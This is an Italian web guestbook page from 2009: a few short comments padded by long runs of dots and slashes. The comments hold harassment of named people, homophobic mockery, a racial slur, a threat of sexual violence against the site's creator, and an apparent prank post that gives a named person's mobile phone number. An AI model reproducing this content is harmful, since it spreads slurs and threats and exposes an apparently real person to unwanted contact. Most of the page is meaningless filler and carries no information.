................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......,........... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......
Fri May 29, 2009 13:34:27
starni
viterbo

il sito è di filippo pietroni di Viterbo, mi raccomando scannatelo.
Fri May 29, 2009 08:47:47
Giammarco
gaylandia

rapini è gay
Sun May 24, 2009 03:33:28
kimotori
italy

auhahuauhauhhuauh Dead or Alive - You Spin Me Right Around - mitico!!!!!

Sun May 24, 2009 03:05:25
Ognogni


AHAHAHAHA
Wed May 20, 2009 09:40:25
davide vicentini
verona...

sono gay e mi piace prenderlo in culo anke dai negri...chiamatemi 3466266010...pompin i belli succosi
Mon May 18, 2009 04:42:26
max


se acchiappo chi ha fatto sto sito gli sfondo il culo come quello nel video
Thu May 14, 2009 07:40:47
TUA MAMMA
MOTHER BITCH

/////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// /////////////////// ///////////////////